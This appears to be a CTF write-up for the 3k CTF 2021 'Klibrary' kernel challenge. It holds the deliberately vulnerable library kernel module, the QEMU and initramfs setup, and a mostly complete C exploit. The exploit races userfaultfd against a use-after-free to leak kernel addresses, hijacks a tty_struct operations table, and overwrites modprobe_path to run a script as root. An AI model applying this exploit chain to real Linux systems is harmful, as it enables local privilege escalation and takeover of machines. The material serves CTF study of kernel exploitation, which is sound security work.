3k CTF 2021 - Klibrary

mkdir initramfs
cd initramfs
cpio -i < ../initramfs.cpio

cd ./initramfs
find . | cpio -o -H newc > ../initramfs1.cpio
cd ../

#!/bin/sh

gcc -g -static ./exploit.c -o ./initramfs/exploit -lpthread -no-pie

cd ./initramfs
find . | cpio -o -H newc > ../initramfs1.cpio
cd ../

exec qemu-system-x86_64 \
    -m 128M \
    -nographic \
    -kernel "./bzImage" \
    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on nokaslr" \
    -no-reboot \
    -cpu qemu64,+smep,+smap \
    -monitor /dev/null \
    -initrd "./initramfs1.cpio" \
    -smp 2 \
    -smp cores=2 \
    -smp threads=1 \
    -s

#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/mutex.h>
#include <linux/slab.h>
#include <linux/module.h>
#include <linux/uaccess.h>
#include <linux/device.h>

#define DEVICE_NAME "library"
#define CLASS_NAME "library"
#define BOOK_DESCRIPTION_SIZE 0x300

#define CMD_ADD			0x3000
#define CMD_REMOVE		0x3001
#define CMD_REMOVE_ALL	0x3002
#define CMD_ADD_DESC	0x3003
#define CMD_GET_DESC 	0x3004

static DEFINE_MUTEX(ioctl_lock);
static DEFINE_MUTEX(remove_all_lock);

MODULE_AUTHOR("MaherAzzouzi");
MODULE_DESCRIPTION("A library implemented inside the kernel.");
MODULE_LICENSE("GPL");

static int major;
static long library_ioctl(struct file* file, unsigned int cmd, unsigned long arg);
static int library_open(struct inode* inode, struct file *filp); 
static int library_release(struct inode* inode, struct file *filp); 

static struct file_operations library_fops = {
	.owner = 			THIS_MODULE,
	.unlocked_ioctl = 	library_ioctl,
	.open = 			library_open,
	.release = 			library_release
};

static struct class* library_class = NULL;
static struct device* library_device = NULL;

struct Book {
	char book_description[BOOK_DESCRIPTION_SIZE];
	unsigned long index;
	struct Book* next;
	struct Book* prev;
} *root;

struct Request {
	unsigned long index;
	char __user * userland_pointer;
};

unsigned long counter = 1;

static int add_book(unsigned long index);
static int remove_book(unsigned long index);
static noinline int remove_all(void);
static int add_description_to_book(struct Request request);
static int get_book_description(struct Request request);

static int library_open(struct inode* inode, struct file *filp) {
	
	printk(KERN_INFO "[library] : manage your books safely here!\n");
	return 0;
}


static int library_release(struct inode* inode, struct file *filp) {
	printk(KERN_INFO "[library] : vulnerable device closed! try harder.\n");
	remove_all();
	return 0;
}

static long library_ioctl(struct file* file, unsigned int cmd, unsigned long arg) {
	struct Request request;
	
	if(copy_from_user((void*)&request, (void*)arg, sizeof(struct Request))) {
		return -1;
	}
		
	if(cmd == CMD_REMOVE_ALL) {
		mutex_lock(&remove_all_lock);
		remove_all();
		mutex_unlock(&remove_all_lock);	
	} else {
		mutex_lock(&ioctl_lock);

		switch(cmd) {
				case CMD_ADD:
						add_book(request.index);
						break;
				case CMD_REMOVE:
						remove_book(request.index);
						break;
				case CMD_ADD_DESC:
						add_description_to_book(request);
						break;
				case CMD_GET_DESC:
						get_book_description(request);
						break;
		}

		mutex_unlock(&ioctl_lock);
	}
	return 0;

}

static int add_book(unsigned long index) {
	
	if(counter >= 10) {
		printk(KERN_INFO "[library] can only hold 10 books here\n");
		return -1;
	}

	struct Book *b, *p;
	b = (struct Book*)kzalloc(sizeof(struct Book), GFP_KERNEL);
	
	if(b == NULL) {
		printk(KERN_INFO "[library] : allocation failed! \n");
		return -1;
	}

	b->index = index;
	if(root == NULL) {
		root = b;
		root->prev = NULL;
		root->next = NULL;
	} else {
		p = root;
		while(p->next != NULL)
			p = p->next;
		p->next = b;
		b->prev = p;
		b->next = NULL;
	}

	counter++;

	return 0;
}

static int remove_book(unsigned long index) {
	struct Book *p, *prev, *next;
	if(root == NULL) {
		printk(KERN_INFO "[library] : no books in the library yet.");
		return -1;
	} 
	else if (root->index == index) {
		p = root;
		root = root->next;
		kfree(p);
	}
	else {
		p = root;
		while(p != NULL && p->index != index)
			p = p->next;
		
		if(p == NULL) {
			printk(KERN_INFO "[library] : can't remove %ld reason : not found\n", index);
		}

		prev = p->prev;
		next = p->next;
		prev->next = next;
		next->prev = prev;
		
		kfree(p);
	}

	counter--;

	return 0;
}

static noinline int remove_all(void) {
	struct Book *b, *p;
	b = root;
	
	while(b != NULL) {
		p = b->next;
		kfree(b);
		b = p;
	}
	
	root = NULL;
	counter = 1;
	return 0;
}

static int add_description_to_book(struct Request request) {
	struct Book* book = root;

	if(book == NULL){
		printk(KERN_INFO "[library] : no books in the library yet.\n");
		return -1;
	}
	

	for(; book != NULL && book->index != request.index; book = book->next);

	if(book == NULL) {
		printk(KERN_INFO "[library] : the given index wasn't found\n");
		return -1;
	}

	if(copy_from_user((void*)book->book_description,
					  (void*)(request.userland_pointer),
					  BOOK_DESCRIPTION_SIZE)) {
		printk(KERN_INFO "[library] : copy_from_user failed for some reason.\n");
		return -1;
	}
}

static int get_book_description(struct Request request) {
	struct Book* book;
	book = root;

	if(book == NULL) {
		printk("[library] : no books yet, can not read the description.\n");
		return -1;
	}

	while(book != NULL && book->index != request.index)
		book = book->next;

	if(book == NULL) {
		printk(KERN_INFO "[library] : no book with the index you provided\n");
		return -1;
	}

	if(copy_to_user((void*)request.userland_pointer,
					(void*)book->book_description,
					BOOK_DESCRIPTION_SIZE)) {
		printk("[library] : copy_to_user failed!\n");
		return -1;
	}
}

static int __init init_library(void) {
	major = register_chrdev(0, DEVICE_NAME, &library_fops);

	if(major < 0) {
		return -1;
	}

	library_class = class_create(THIS_MODULE, CLASS_NAME);
	if(IS_ERR(library_class)) {
		unregister_chrdev(major, DEVICE_NAME);
		return -1;
	}

	library_device = device_create(library_class, 
					0, 
					MKDEV(major, 0),
				   	0, 
					DEVICE_NAME);

	if(IS_ERR(library_device)) {
		class_destroy(library_class);
		unregister_chrdev(major, DEVICE_NAME);
		return -1;
	}

	root = NULL;
	mutex_init(&ioctl_lock);
	mutex_init(&remove_all_lock);
	printk(KERN_INFO "[library] : started!\n");
	return 0;
}

static void __exit exit_library(void) {
	
	device_destroy(library_class, MKDEV(major, 0));
	class_unregister(library_class);
	class_destroy(library_class);
	unregister_chrdev(major, DEVICE_NAME);

	mutex_destroy(&ioctl_lock);
	mutex_destroy(&remove_all_lock);
	printk(KERN_INFO "[library] : finished!\n");
}

module_init(init_library);
module_exit(exit_library);

struct Book {
	char book_description[BOOK_DESCRIPTION_SIZE];
	unsigned long index;
	struct Book* next;
	struct Book* prev;
} *root;

if(cmd == CMD_REMOVE_ALL) {
    mutex_lock(&remove_all_lock);
    remove_all();
    mutex_unlock(&remove_all_lock);	
} else {
    mutex_lock(&ioctl_lock);

    switch(cmd) {
            case CMD_ADD:
                    add_book(request.index);
                    break;
            case CMD_REMOVE:
                    remove_book(request.index);
                    break;
            case CMD_ADD_DESC:
                    add_description_to_book(request);
                    break;
            case CMD_GET_DESC:
                    get_book_description(request);
                    break;
    }

    mutex_unlock(&ioctl_lock);
}

#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <inttypes.h>
#include <sys/ioctl.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/resource.h>
#include <pthread.h>
#include <sys/mman.h>
#include <poll.h>
#include <time.h>
#include <unistd.h>

#define DEVICE_NAME "/dev/library"

#define BOOK_DESCRIPTION_SIZE 0x300

#define CMD_ADD			0x3000
#define CMD_REMOVE		0x3001
#define CMD_REMOVE_ALL	0x3002
#define CMD_ADD_DESC	0x3003
#define CMD_GET_DESC 	0x3004

#define PAGESIZE 0x1000

int ioctl_add(uint64_t id);
int ioctl_remove(uint64_t id);
int ioctl_add_desc(uint64_t id, uint8_t *buffer);
int ioctl_get_desc(uint64_t id, uint8_t *buffer);
int _ioctl_get_desc(uint64_t id, uint8_t *buffer);
int ioctl_remove_all();
void leak_heap();
void write_next_ptr();
void *race_userfault(void (*func)());
int userfaultfd(int flags);
int register_ufd(uint64_t page);
void print_leak(uint64_t *ptr, int size);
void get_rax();

typedef struct {
    uint64_t index;
    uint8_t *ptr;
} request_t;

typedef struct {
    uint64_t index;
    void *next;
    void *prev;
} book_details;

uint64_t kbase = 0x0L,
         heap_ptr = 0x0L;

int fd, ufd, ret, ptmx;
uint64_t uf_page, rax = 0, leak[BOOK_DESCRIPTION_SIZE];
const char cat[] = {0xf0, 0x9f, 0x90, 0x88, '\0'};
const char shark[] = {0xF0, 0x9F, 0xA6, 0x88, '\0'};
const char dice[] = {0xF0, 0x9F, 0x8E, 0xB2, '\0'};
const char alien[] = {0xF0, 0x9F, 0x91, 0xBE, '\0'};
const char ghost[] = {0xF0, 0x9F, 0x91, 0xBB, '\0'};

int main(int argc, char **argv) {
    uint8_t *buf = calloc(BOOK_DESCRIPTION_SIZE, 1);
    pthread_t th;

    fd = open(DEVICE_NAME, O_RDONLY);
    printf("[%s] fd: %d\n", alien, fd);

    ioctl_add(0);

    // 1st stage: LEAK KBASE AND KHEAP
    ufd = register_ufd(0xaaa000);
    printf("[%s] registered ufd: %d\t @ 0x%lx\n", shark, ufd, uf_page);
    pthread_create(&th, NULL, (void *)race_userfault, leak_heap);
    _ioctl_get_desc(0, (uint8_t *)0xaaa000);

    kbase = leak[66] - 0x14fc00;
    heap_ptr = leak[8] - 0x38;

    printf("\n");
    printf("[%s] kbase:             0x%016lx\n", ghost, kbase);

    close(ptmx);
    return 0;
}

int ioctl_add(uint64_t id) {
    request_t arg = {
        .index = id,
        .ptr = NULL
    };
    printf("[*] ioctl_add[%ld]\n", id);
    ret = ioctl(fd, CMD_ADD, &arg);
    if (ret != 0) {
        printf("[!] ioctl_add   ret: %d\t id: %ld\n", ret, id);
    }
    return 0;
}

int ioctl_remove(uint64_t id) {
    request_t arg = {
        .index = id,
        .ptr = NULL
    };
    printf("[*] ioctl_remove[%ld]\n", id);
    ret = ioctl(fd, CMD_REMOVE, &id);
    if (ret != 0) {
        printf("[!] ioctl_remove   ret: %d\t id: %ld\n", ret, id);
    }
    return 0;
}

int ioctl_add_desc(uint64_t id, uint8_t *buffer) {
    request_t arg = {
        .index = id,
        .ptr = buffer
    };
    printf("[*] ioctl_add_desc[%ld]\n", id);
    ret = ioctl(fd, CMD_ADD_DESC, &arg);
    if (ret != 0) {
        printf("[!] ioctl_add_desc   ret: %d\t id: %ld\n", ret, id);
    }
    return 0;
}

int ioctl_get_desc(uint64_t id, uint8_t *buffer) {
    memset(buffer, 0, BOOK_DESCRIPTION_SIZE);
    return _ioctl_get_desc(id, buffer);
}

int _ioctl_get_desc(uint64_t id, uint8_t *buffer) {
    request_t arg = {
        .index = id,
        .ptr = buffer
    };
    printf("[*] ioctl_get_desc[%ld]\n", id);
    ret = ioctl(fd, CMD_GET_DESC, &arg);
    if (ret != 0) {
        printf("[!] ioctl_get_desc   ret: %d\t id: %ld\n", ret, id);
    }
    memcpy(leak, buffer, BOOK_DESCRIPTION_SIZE);
    print_leak((uint64_t *)buffer, BOOK_DESCRIPTION_SIZE);
    return 0;
}

int ioctl_remove_all() {
    request_t arg = {
        .index = 0xffffff,
        .ptr = NULL
    };
    printf("[*] ioctl_remove_all\n");
    ret = ioctl(fd, CMD_REMOVE_ALL, &arg);
    if (ret != 0) {
        printf("[!] ioctl_remove_all ret: %d\n", ret);
    }
    return 0;
}

void print_leak(uint64_t *ptr, int size) {
    for (int i = 0; i < size / 8; i++) {
        printf("0x%016lx\t", ptr[i]);
        if (!((i + 1) % 4)) {
            printf("\n");
        }
    }
    printf("\n");
}

int register_ufd(uint64_t page) {
    int fd = 0;
    int memsize = 0x1000;
    uf_page = page;
    struct uffdio_api api = { .api = UFFD_API };

    uf_page = (uint64_t)mmap((void *)uf_page, 0x2000, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
    if ((void *)uf_page == MAP_FAILED) {
        perror("mmap uf_page");
        exit(2);
    }

    if ((fd = userfaultfd(O_NONBLOCK)) == -1) {
        fprintf(stderr, "++ userfaultfd failed: %m\n");
        exit(-1);
    }

    if (ioctl(fd, UFFDIO_API, &api)) {
        fprintf(stderr, "++ ioctl(fd, UFFDIO_API, ...) failed: %m\n");
        exit(-1);
    }
    if (api.api != UFFD_API) {
        fprintf(stderr, "++ unexepcted UFFD api version.\n");
        exit(-1);
    }

    /* mmap some pages, set them up with the userfaultfd. */
    struct uffdio_register reg = {
        .mode = UFFDIO_REGISTER_MODE_MISSING,
        .range = {
            .start = uf_page,
            .len = memsize
        }
    };

    if (ioctl(fd, UFFDIO_REGISTER,  &reg) == -1) {
        fprintf(stderr, "++ ioctl(fd, UFFDIO_REGISTER, ...) failed: %m\n");
        exit(-1);
    }

    return fd;
}

void *race_userfault(void (*func)()) {
    char uf_buffer[0x1000];
    struct pollfd evt = { .fd = ufd, .events = POLLIN };

    while (poll(&evt, 1, -1) > 0) {
        /* unexpected poll events */
        if (evt.revents & POLLERR) {
            perror("poll");
            exit(-1);
        } else if (evt.revents & POLLHUP) {
            perror("pollhup");
            exit(-1);
        }
        struct uffd_msg fault_msg = {0};
        if (read(ufd, &fault_msg, sizeof(fault_msg)) != sizeof(fault_msg)) {
            perror("read");
            exit(-1);
        }
        char *place = (char *)fault_msg.arg.pagefault.address;
        if (fault_msg.event != UFFD_EVENT_PAGEFAULT
                || (place != (void *)uf_page && place != (void *)uf_page + PAGESIZE)) {
            fprintf(stderr, "unexpected pagefault?.\n");
            exit(-1);
        }
        if (place == (void *)uf_page) {
            printf("[%s] got page fault at address %p, nice!\n", cat, place);
            printf("[%s] call whatever I want\n", cat);
            func();
            printf("[%s] done! now releasing ufd to finish exit\n", cat);

            /* release by copying some data to faulting address */
            struct uffdio_copy copy = {
                .dst = (long) place,
                .src = (long) uf_buffer,
                .len = PAGESIZE
            };
            if (ioctl(ufd, UFFDIO_COPY, &copy) < 0) {
                perror("ioctl(UFFDIO_COPY)");
                exit(-1);
            }
            break;
        }
    }
    close(ufd);
    return NULL;
}

int userfaultfd(int flags) {
    return syscall(SYS_userfaultfd, flags);
}

void leak_heap() {
    ioctl_remove_all();
    ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY);
}

$ pahole -E tty_struct
struct tty_struct {
        int                        magic;                                                /*     0     4 */
        struct kref {
                /* typedef refcount_t */ struct refcount_struct {
                        /* typedef atomic_t */ struct {
                                int counter;                                             /*     4     4 */
                        } refs; /*     4     4 */
                } refcount; /*     4     4 */
        } kref; /*     4     4 */
        struct device *            dev;                                                  /*     8     8 */
        struct tty_driver *        driver;                                               /*    16     8 */
        const struct tty_operations  * ops;                                              /*    24     8 */
        int                        index;                                                /*    32     4 */

        /* XXX 4 bytes hole, try to pack */

        struct ld_semaphore {
                /* typedef atomic_long_t -> atomic64_t */ struct {
                        /* typedef s64 -> __s64 */ long long int counter;                /*    40     8 */

                        ...

        struct list_head {
                        struct list_head * next;                                         /*    56     8 */
                        /* --- cacheline 1 boundary (64 bytes) --- */
                        struct list_head * prev;                                         /*    64     8 */
                } read_wait; /*    56    16 */
                struct list_head {
                        struct list_head * next;                                         /*    72     8 */
                        struct list_head * prev;                                         /*    80     8 */
...

    // 2nd stage: LEAK NEXT PTR
    ioctl_add(0);

    ufd = register_ufd(0xbbb000);
    printf("registered ufd: %d\t 0x%lx\n", ufd, uf_page);
    pthread_create(&th, NULL, (void *)race_userfault, ioctl_remove_all);
    _ioctl_get_desc(0, (uint8_t *)0xbbb000);
    next_ptr = leak[512 / 8];

    // 3rd stage overwrite next ptr
    ioctl_add(0);
    ufd = register_ufd(0xccc000);
    printf("registered ufd: %d\t 0x%lx\n", ufd, uf_page);
    pthread_create(&th, NULL, (void *)race_userfault, ioctl_remove_all);
    ((uint64_t *)(uf_page + 0xf00))[512/8] = heap_ptr + 32;
    ioctl_add_desc(0, (uint8_t *)0xcccf00);

    ioctl_add(0);
    memset(buf, 0, BOOK_DESCRIPTION_SIZE);
    ((uint64_t *)(buf + 32))[512/8] = next_ptr;
    ioctl_add_desc(0, buf);

struct tty_operations {
        struct tty_struct *        (*lookup)(struct tty_driver *, struct file *, int);   /*     0     8 */
        int                        (*install)(struct tty_driver *, struct tty_struct *); /*     8     8 */
        void                       (*remove)(struct tty_driver *, struct tty_struct *);  /*    16     8 */
        int                        (*open)(struct tty_struct *, struct file *);          /*    24     8 */
        void                       (*close)(struct tty_struct *, struct file *);         /*    32     8 */
        void                       (*shutdown)(struct tty_struct *);                     /*    40     8 */
        void                       (*cleanup)(struct tty_struct *);                      /*    48     8 */
        int                        (*write)(struct tty_struct *, const unsigned char  *, int); /*    56     8 */
        /* --- cacheline 1 boundary (64 bytes) --- */
        int                        (*put_char)(struct tty_struct *, unsigned char);      /*    64     8 */
        void                       (*flush_chars)(struct tty_struct *);                  /*    72     8 */
        int                        (*write_room)(struct tty_struct *);                   /*    80     8 */
        int                        (*chars_in_buffer)(struct tty_struct *);              /*    88     8 */
        int                        (*ioctl)(struct tty_struct *, unsigned int, long unsigned int); /*    96     8 */
        long int                   (*compat_ioctl)(struct tty_struct *, unsigned int, long unsigned int); /*   104     8 */
        void                       (*set_termios)(struct tty_struct *, struct ktermios *); /*   112     8 */
        void                       (*throttle)(struct tty_struct *);                     /*   120     8 */
        /* --- cacheline 2 boundary (128 bytes) --- */
        void                       (*unthrottle)(struct tty_struct *);                   /*   128     8 */
        void                       (*stop)(struct tty_struct *);                         /*   136     8 */
        void                       (*start)(struct tty_struct *);                        /*   144     8 */
        void                       (*hangup)(struct tty_struct *);                       /*   152     8 */
        int                        (*break_ctl)(struct tty_struct *, int);               /*   160     8 */
        void                       (*flush_buffer)(struct tty_struct *);                 /*   168     8 */
        void                       (*set_ldisc)(struct tty_struct *);                    /*   176     8 */
        void                       (*wait_until_sent)(struct tty_struct *, int);         /*   184     8 */
        /* --- cacheline 3 boundary (192 bytes) --- */
        void                       (*send_xchar)(struct tty_struct *, char);             /*   192     8 */
        int                        (*tiocmget)(struct tty_struct *);                     /*   200     8 */
        int                        (*tiocmset)(struct tty_struct *, unsigned int, unsigned int); /*   208     8 */
        int                        (*resize)(struct tty_struct *, struct winsize *);     /*   216     8 */
        int                        (*get_icount)(struct tty_struct *, struct serial_icounter_struct *); /*   224     8 */
        int                        (*get_serial)(struct tty_struct *, struct serial_struct *); /*   232     8 */
        int                        (*set_serial)(struct tty_struct *, struct serial_struct *); /*   240     8 */
        void                       (*show_fdinfo)(struct tty_struct *, struct seq_file *); /*   248     8 */
        /* --- cacheline 4 boundary (256 bytes) --- */
        int                        (*proc_show)(struct seq_file *, void *);              /*   256     8 */

        /* size: 264, cachelines: 5, members: 33 */
        /* last cacheline: 8 bytes */
};

    // 4th stage write on modprobe_path
    ioctl_add(1);
    ioctl_add(2);

    ((uint64_t *)buf)[32 / 8] = dummy_ret; // cleanup functions
    ((uint64_t *)buf)[40 / 8] = dummy_ret;
    ((uint64_t *)buf)[48 / 8] = dummy_ret;
    ((uint64_t *)buf)[96 / 8] = mov_addr_rdx_esi; // ioctl function -> arb write gadget
    ioctl_add_desc(2, buf);
    ioctl_get_desc(2, buf);

    // This part is not needed
    book_details b = {
        .index = 0,
        .next = (void *)(heap_ptr + 32),
        .prev = NULL,
    };
    memcpy(buf + BOOK_DESCRIPTION_SIZE - 0x20, &b, 0x18);
    print_leak((uint64_t *)buf, BOOK_DESCRIPTION_SIZE);
    ioctl_add_desc(1, buf);

    ioctl_remove(1);

    ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY);

    ioctl_get_desc(0, buf);

    memset(buf, 0, BOOK_DESCRIPTION_SIZE);
    memcpy(buf, leak, BOOK_DESCRIPTION_SIZE);
    ((uint64_t *)buf)[7] = next_ptr; // overwrite pointer to vtable
    ioctl_add_desc(0, buf);

    ioctl(ptmx, *(int *)new_modprobe_path, modprobe_path); // trigger ioctl call inside vtable
    ioctl(ptmx, *(int *)(new_modprobe_path + 4), modprobe_path + 4);
    ioctl(ptmx, *(int *)(new_modprobe_path + 8), modprobe_path + 8);

    system("echo -ne '\\xff\\xff\\xff\\xff' > /home/ctf/bho");
    system("chmod +x /home/ctf/bho");
    system("echo -ne '#!/bin/sh\nchmod 777 /flag.txt' > /home/ctf/a\n");
    system("chmod +x /home/ctf/a");
    system("/home/ctf/bho");

musl-gcc exploit.c -o /tmp/exploit -static -lpthread

yay -S musl kernel-headers-musl